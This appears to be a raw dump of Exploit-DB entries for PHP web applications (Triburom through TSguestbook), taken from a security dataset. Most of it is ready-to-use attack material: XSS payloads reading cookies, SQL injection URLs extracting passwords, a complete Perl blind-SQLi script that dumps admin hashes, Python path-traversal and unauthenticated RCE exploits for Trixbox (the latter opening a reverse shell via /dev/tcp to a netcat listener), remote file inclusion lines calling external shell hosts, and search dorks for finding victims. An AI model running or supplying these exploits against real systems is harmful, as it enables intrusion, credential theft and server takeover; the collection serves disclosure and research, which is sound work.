deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34024
Description: Triburom - 'forum.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-15
Author: ViRuSMaN

Exploit:
source: https://www.securityfocus.com/bid/40316/info

Triburom is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/forum.php?action=liste&cat=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
Exploit-DB #49597
Description: Triconsole 3.75 - Reflected XSS
Type: webapps
Platform: php
Date: 2021-02-26
Author: Akash Chathoth

Exploit:
# Exploit Title: Triconsole 3.75 - Reflected XSS
# Google Dork: inurl : /calendar/calendar_form.php
# Date: 15/2/2021
# Exploit Author: Akash Chathoth
# Vendor Homepage: http://www.triconsole.com/
# Software Link: http://www.triconsole.com/php/calendar_datepicker.php
# Version: < 3.76 (14 February 2021)
# Tested on: 3.75
# CVE: 2021-27330

# Exploit : http://exapmle.com/calendar_form.php/"><script>alert(document.domain)</script>
Exploit-DB #26127
Description: TriggerTG TClanPortal 3.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-08-09
Author: admin@batznet.com

Exploit:
source: https://www.securityfocus.com/bid/14516/info

TClanPortal is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/news/index.php?action=com&id='SQL_HERE
http://www.example.com/cw/index.php?action=details&id='SQL_HERE
http://www.example.com/gb/index.php?von='SQL_HERE
http://www.example.com/umfragen/index.php?action=vote&insert='SQL_HERE
Exploit-DB #6141
Description: TriO 2.1 - 'browse.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-26
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##############################################################
 #   [ TriO <= 2.1 ]   Remote SQL Injection Vulnerability     #
 ##############################################################
 # 
 # [ Script: "TriO, iO's new web-based module, enables you to quickly, easily, and securely make your collections..." ]
 #
 # [ Script site: http://www.willo.com/io/trio.asp ]
 # 
 # [ Default table_name with users: Webusers ]
 # 
 # [ Vuln: browse.php ]  
 # http://site.com/browse.php?id=-1+UNION+SELECT+EMAIL+from+Webusers--
 # http://site.com/browse.php?id=-1+UNION+SELECT+SUPERSECRETPASSWORD+from+Webusers--	
 #	
 # 
 # [ Dork example: "This website is powered by Trio" ]
 #
 #####################################################
 # Greetz: D3m0n_DE * Voo|doo * str0ke and otherz..
 #####################################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-07-26]
Exploit-DB #4485
Description: Trionic Cite CMS 1.2rev9 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-05
Author: GoLd_M

Exploit:
# Trionic Cite CMS 1.2 rev9 Remote File Inclusion Vulnerabilities
# D.S : http://sourceforge.net/project/showfiles.php?group_id=177347
# POC :
# /[PHAT]/interface/editors/-custom.php?bField[bf_data]=http://localhost/shell.txt
# /[PHAT]/interface/editors/custom.php?bField[bf_data]=http://localhost/shell.txt

# milw0rm.com [2007-10-05]
Exploit-DB #27626
Description: Tritanium Bulletin Board 1.2.3 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-04-11
Author: d4igoro

Exploit:
source: https://www.securityfocus.com/bid/17473/info

Tritanium Bulletin Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?faction=register&newuser_name=[XSS]
http://www.example.com/index.php?faction=register&newuser_email=[XSS]
http://www.example.com/index.php?faction=register&newuser_hp=[XSS]
Exploit-DB #23319
Description: Tritanium Scripts Tritanium Bulletin Board 1.2.3 - Unauthorized Access
Type: webapps
Platform: php
Date: 2003-10-31
Author: Virginity Security

Exploit:
source: https://www.securityfocus.com/bid/8944/info

It has been reported that Tritanium Bulletin Board may be prone to an access validation error that may allow a remote attacker to to gain unauthorized access to threads. A remote attacker may be able to access sensitive data by modifying the URL and supplying a value for thread_id, forum_id, and sid paremeters.

Successful exploitation of this issue may allow an attacker to gain access to sensitive information that could be used to launch further attacks against a system.

Tritanium Bulletin Board version 1.2.3 has been reported to be prone to this issue, however other versions may be affected as well.

http://www.example.com/[path]/index.php?faction=reply&thread_id=[ID OF THE THREAD TO READ]&forum_id=[ID OF FORUM]&sid=[your sid]
Exploit-DB #6017
Description: Triton CMS Pro 1.06 - 'x-forwarded-for' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-07-07
Author: girex

Exploit:
#!/usr/bin/perl -w
#Triton CMS Pro (X-Forwarded-For) Blind SQL Injection
#Admin's username/hash disclosure exploit
#Benchmark() method, so take a coffee and relax
#Coded by __GiReX__

use LWP::UserAgent;
use HTTP::Request;

if(not defined $ARGV[0])
{
	print "\nUsage: perl $0 [host] [path] [1/2]\n";
	print "Example: perl $0 localhost /tcms/\n";
	exit;
}

my $host  = ($ARGV[0] =~ /^http:\/\//) ?  $ARGV[0]:  'http://' . $ARGV[0];
   $host .=  $ARGV[1] unless not defined $ARGV[1];

my $client =  new LWP::UserAgent;
my $get    =  new HTTP::Request('GET', $host);
my @cset   =  (97..122, 0);               # Only  a-z  charset for username exploit if need change it
my @cset2  =  (48..57, 97..102); 
my $prefix =  "tc_";         

my ($i, $j) = (0, 1);
my ($user, $hash) = (undef, undef);

banner();

while($i != $#cset)
{  
   for($i = 0; $i <= $#cset; $i++)
   {
    my ($pre_time, $post_time) = time();	
	
	info(chr($cset[$i]), "Username", $user);
	$rv = check_char($cset[$i], $j, "username");
	$post_time = time();	
	
	 if($post_time - $pre_time > 3 and $rv)
	 {
		$user .= chr($cset[$i]); 
		last;
	 }
   }

  $j++;
}

if(not defined $user)
{
     print STDOUT "\n\n[-] Exploit mistake: please check the benchmark and expected time\n\n";
	 exit;
}
else
{
     print STDOUT "\n[+] Admin Hashed Pass: \r";
}

for($j = 0; $j <= 32; $j++)
{  
    for($i = 0; $i <= $#cset2; $i++)
    {
     $pre_time = time();	
	
	 info(chr($cset2[$i]), "Hashed Pass", $hash);
	 $rv = check_char($cset2[$i], $j, "password");
	 $post_time = time();	
	
         if($post_time - $pre_time > 3 and $rv)
	     {
	         $hash .= chr($cset2[$i]);
	         last;
	     }
    }
}

if(not defined $hash or length($hash) != 32)
{
     print STDOUT "\n\n[-] Exploit mistake: please check the benchmark expected time\n\n";
}
else 
{
     print STDOUT "\n\n[+] Exploit terminated\n\n";
}


sub banner
{
   print "\n";
   print "[+] Triton CMS Pro (X-Forwarded-For) Blind SQL Injection\n";
   print "[+] Admin's username/hash disclosure exploit\n";
   print "[+] Coded by __GiReX__\n";
   print "\n";
}

sub info
{
  my($c, $str, $cur)  =  @_;
	
	$cur = '' unless defined $cur;
	print  STDOUT "[+] Admin ${str}: ${cur}${c}\r";
	
 $| = 1; 
}

sub check_char
{
  my ($char, $n, $field)  =  @_ ;
   
    $get->header('X-Forwarded-For' =>  "-1' AND ".
			     "CASE WHEN (SELECT ASCII(SUBSTRING(${field}, ${n}, 1)) ".
			     "FROM ${prefix}members WHERE id=1)=${char} ".
                 "THEN benchmark(99000000, CHAR(0)) END#"); 

    $res = $client->request($get);
    
  return $res->is_success;
}

# milw0rm.com [2008-07-07]
Exploit-DB #49914
Description: Trixbox 2.8.0.4 - 'lang' Path Traversal
Type: webapps
Platform: php
Date: 2021-05-28
Author: Ron Jost

Exploit:
# Exploit Title: Trixbox 2.8.0.4 - 'lang' Path Traversal
# Date: 27.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Credits to: https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
# Credits to: Sachin Wagh
# Vendor Homepage: https://sourceforge.net/projects/asteriskathome/
# Software Link: https://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/trixbox%202.8/trixbox-2.8.0.4.iso/download
# Version: 2.8.0.4
# Tested on: Xubuntu 20.04
# CVE: CVE-2017-14537

'''
Description:
trixbox 2.8.0.4 has path traversal via the xajaxargs array parameter to /maint/index.php?packages or the
lang parameter to /maint/modules/home/index.php.
'''


'''
Import required modules:
'''
import requests
import sys
import urllib.parse


'''
User-Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]


'''
Construct malicious request:
'''
# Constructing header:
header = {
    'Host': target_ip,
    'User-Agent': 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'keep-alive',
    'Cookie': 'template=classic; lng=en; lng=en',
    'Upgrade-Insecure-Requests': '1',
    'Authorization': 'Basic bWFpbnQ6cGFzc3dvcmQ=',
}

# Constructing malicious link (payload):
base_link = 'http://' + target_ip + ':' + target_port
base_link_addon_1 = '/maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'
base_link_addon_3 = '%00english'
print('')
base_link_addon_2 = input('Input the filepath or input EXIT: ')



'''
EXPLOIT:
'''
while base_link_addon_2 != 'EXIT':
    base_link_addon_2_coded = urllib.parse.quote(base_link_addon_2, safe='')
    exploit_link = base_link + base_link_addon_1 + base_link_addon_2_coded + base_link_addon_3
    print('')
    exploit = requests.post(exploit_link, headers=header)
    print('Contents of ' + base_link_addon_2 + ':')
    for data in exploit.iter_lines():
        data = data.decode('utf-8')
        if data != '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">':
            print(data)
        else:
            break
    print('')
    base_link_addon_2 = input('Input the filepath or input EXIT: ')
Exploit-DB #49913
Description: Trixbox 2.8.0.4 - 'lang' Remote Code Execution (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-05-28
Author: Ron Jost

Exploit:
# Exploit Title: Trixbox 2.8.0.4 - 'lang' Remote Code Execution (Unauthenticated)
# Date: 27.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Credits to: https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/
# Credits to: Sachin Wagh
# Vendor Homepage: https://sourceforge.net/projects/asteriskathome/
# Software Link: https://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/trixbox%202.8/trixbox-2.8.0.4.iso/download
# Version: 2.8.0.4
# Tested on: Xubuntu 20.04
# CVE: CVE-2017-14535

'''
Description:
trixbox 2.8.0.4 has OS command injection via shell metacharacters in the lang parameter to /maint/modules/home/index.php
'''



'''
Import required modules:
'''
import requests
import sys
import time


'''
User-input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
listen_ip = sys.argv[3]
listen_port = sys.argv[4]


'''
Construct malicious request:
'''
# Construct header:
header = {
    'Host': target_ip,
    'User-Agent': 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Authorization': 'Basic bWFpbnQ6cGFzc3dvcmQ=',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1',
    'Cache-Control': 'max-age=0'
}

# Construct malicious link:
link_p1 = 'http://' + target_ip + ':' + target_port + '/maint/modules/home/index.php?lang=english|bash%20-i%20%3E%26%20'
link_p2 = '%2Fdev%2Ftcp%2F' + listen_ip + '%2F' + listen_port + '%200%3E%261||x'
link = link_p1 + link_p2


'''
Finish: EXPLOIT!!!
'''
print('')
print('')
print('Please start the following command in a seperate terminal: nc -lnvp ' + listen_port)
print('')
time.sleep(2)
Ready = input("If you're done and want to start the exploit please input EXPLOIT: ")
if Ready == 'EXPLOIT':
    print('')
    print('Exploit sent, check your Netcat instance :)')
    x = requests.post(link, headers=header)
else:
    print('TRY AGAIN')
Exploit-DB #37136
Description: Trombinoscope 3.x - 'photo.php' Server SQL Injection
Type: webapps
Platform: php
Date: 2012-05-07
Author: Ramdan Yantu

Exploit:
source: https://www.securityfocus.com/bid/53398/info

Trombinoscope is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Trombinoscope 3.5 and prior versions are vulnerable. 

http://www.example.com/[script]/photo.php?id=-9999/**/union/**/select/**/1,2,version()--
Exploit-DB #26545
Description: Tru-Zone Nuke ET 3.x - Search Module SQL Injection
Type: webapps
Platform: php
Date: 2005-11-21
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/15519/info

Nuke ET is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

Insert the following into the 'query' field of http://www.example.com/modules.php?name=Search:
s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/*
Exploit-DB #33679
Description: TRUC 0.11 - 'login_reset_password_page.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-02-28
Author: snakespc

Exploit:
source: https://www.securityfocus.com/bid/38445/info

TRUC is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

TRUC 0.11.0 is vulnerable; other versions may also be affected.


http://www.example.com/truc/login_reset_password_page.php?failed=true&error="><script>alert(document.cookie);</script>
Exploit-DB #5129
Description: TRUC 0.11.0 - 'download.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-02-16
Author: GoLd_M

Exploit:
### TRUC 0.11.0 (download.php) Remote File Disclosure Vulnerability
### http://switch.dl.sourceforge.net/sourceforge/truc/truc_0.11.0.tar.gz
### POC :
### /download.php?upload_filename=config_inc.php
### /download.php?upload_filename=../../../../../../../../etc/passwd
### Dork : TRUC 0.11.0 :: Â© 2006 by ASDIS :
### I'm TRYAGI  ;)  -- Tryag.cc/cc

# milw0rm.com [2008-02-16]
Exploit-DB #22534
Description: Truegalerie 1.0 - Unauthorized Administrative Access
Type: webapps
Platform: php
Date: 2003-04-25
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/7427/info

A vulnerability has been reported for Truegalerie that may result in unauthorized administrative access. The vulnerability exists due to insufficient sanitization of some URI values. 

http://[target]/admin.php?loggedin=1
Exploit-DB #12645
Description: TS Special Edition 7.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-05-18
Author: IHTeam

Exploit:
##############################################################################################
#
# TS Special Edition <= v.7.0 Multiple Vulnerabilities
# Dork: "Powered by TS Special Edition"
# Site: http://templateshares.net
# Download: http://templateshares.net/special/purchase
# Reported on 02/05/2010
#
# Author: IHTeam
#
##############################################################################################
#
# See any seed/leech files of any users
#
# 1) Open any userdatail you want (Ex: /userdetails.php?id=1)
# 2) Paste in url bar this code for:
# 2.1) javascript:TSAjaxRequest('showuploaded'); <---- See Uploaded Torrent
# 2.2) javascript:TSAjaxRequest('showcompleted'); <---- See Completed
Torrent
# 2.3) javascript:TSAjaxRequest('showleechs'); <---- See In Leech
Torrents
# 2.4) javascript:TSAjaxRequest('showseeds'); <---- See In Seed Torrents
# 2.5) javascript:TSAjaxRequest('showsnatches'); <---- See Recently
Downloaded
#
##############################################################################################
#
# Bypass Vote System
#
# 1) Open any torrent file datail (Ex: /details.php?id=1)
# 2) Edit HTML Source code with FireBug or Opera
# 3) Search 'form id="quickrate"' and edit these information:
# 3.1) <input type="hidden" value="CHAGE_YOUR_ID_HERE" name="userid">
# 3.2) javascript:TSQuickRate('torrent_1', 'CHAGE_YOUR_ID_HERE');
# 4) Apply changes and vote the torrent every time you want
#
##############################################################################################
#
# MySQL Credential
#
# You can see MySQL Credential by opening /config/DATABASE
#
# Ex: www.mysite.com/config/DATABASE
#
a:4:{s:10:"mysql_host";s:9:"HOSTNAME_OF_MYSQL_DATABASE";s:10:"mysql_user";s:11:"USERNAME_OF_MYSQL"
#
;s:10:"mysql_pass";s:10:"PASSWORD_OF_MYSQL";s:8:"mysql_db";s:21:"DATABASE_NAME";}
#
# It can be fixed adding .htaccess in /config/ directory
##############################################################################################
#
# Others configuration files
#
# 1) /config/WAITSLOT
# 2) /config/TWEAK
# 3) /config/THEME
# 4) /config/STAFFTEAM
# 5) /config/SMTP
# 6) /config/SEO
# 7) /config/SECURITY
# 8) /config/REDIRECT
# 9) /config/PJIRC
# 10) /config/PAYPAL
# 11) /config/MAIN
# 12) /config/KPS
# 13) /config/FORUMCP
# 14) /config/EXTRA
# 15) /config/DATETIME
# 16) /config/CLEANUP
# 17) /pjirc/pjirc.cfg
#
##############################################################################################
Exploit-DB #2116
Description: TSEP 0.942 - 'colorswitch.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-02
Author: beford

Exploit:
Script: TSEP <= 0.942
URL:  www.tsep.info
Discovered: beford <xbefordx gmail com>
Comments: "register_globals" must be enabled duh.
document.this != http://www.milw0rm.com/exploits/2098
Vulnerable Files/Code:

./tsep.0942/include/colorswitch.php?tsep_config[absPath]=http://rst.void.ru/download/r57shell.txt?
./tsep.0942/include/printpagedetails.php => require_once(
$tsep_config["absPath"]."/include/convert_htmlent.php" );
./tsep.0942/include/ipfunctions.php => require_once(
$tsep_config["absPath"]."/include/IPv6.php" );
./tsep.0942/include/contentimages.class.php => require_once(
$tsep_config["absPath"]."/include/contentimages.class.php" );
./tsep.0942/include/configfunctions.php => require_once(
$tsep_config["absPath"]."/include/mmexfunctions.php" );
./tsep.0942/include/log.class.php => require_once(
$tsep_config["absPath"]."/include/tseptrace.php" );

Not-leet-enough: "Powered By TSEP"

POC:
http://hax.com/tsep/include/colorswitch.php?tsep_config[absPath]=http://remotefile/?

# milw0rm.com [2006-08-02]
Exploit-DB #2098
Description: TSEP 0.942 - 'copyright.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-01
Author: Philipp Niedziela

Exploit:
+--------------------------------------------------------------------
+
+ TSEP 0.9.4.2
+
+--------------------------------------------------------------------
+
+ Affected Software .: TSEP 0.9.4.2
+ Venedor ...........: http://www.tsep.info/
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Code /include/copyright.php:
+
+ .....
+ <?php require ( $tsep_config["absPath"]."/include/tsepversion.txt" ); ?>
+ .....
+
+--------------------------------------------------------------------
+
+ $tsep_config["absPath"] is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Include config-File in copyright.php
+
+--------------------------------------------------------------------
+
+ PoC:
+ Place a PHPShell on a remote location:
+ http://evilsite.com/include/tsepversion.txt
+
+ http://[target]/include/copyright.php?tsep_config[absPath]=http://evilsite.com?cmd=ls
+
+--------------------------------------------------------------------
+
+ Greets:
+ Krini Gonzales (5 YEARS :P)
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-01]
Exploit-DB #23084
Description: TSguestbook 2.1 - 'Message' HTML Injection
Type: webapps
Platform: php
Date: 2003-09-01
Author: Trash-80

Exploit:
source: https://www.securityfocus.com/bid/8520/info

It has been reported that TSguestbook may be prone to HTML injection attacks. The problem is said to occur due to insufficient sanitization of user-supplied input within the 'message' field. As a result, an attacker may post a guestbook entry including malicious HTML or script code within the said field. This could result in the execution of arbitrary code within the browser of an unsuspecting guestbook user. 

Name: Zone-h Security Team

Email: test@test.com

ICQ: 11111111

Homepage: http://www.zone-h.org

Message:<script>alert('Zone-H')</script>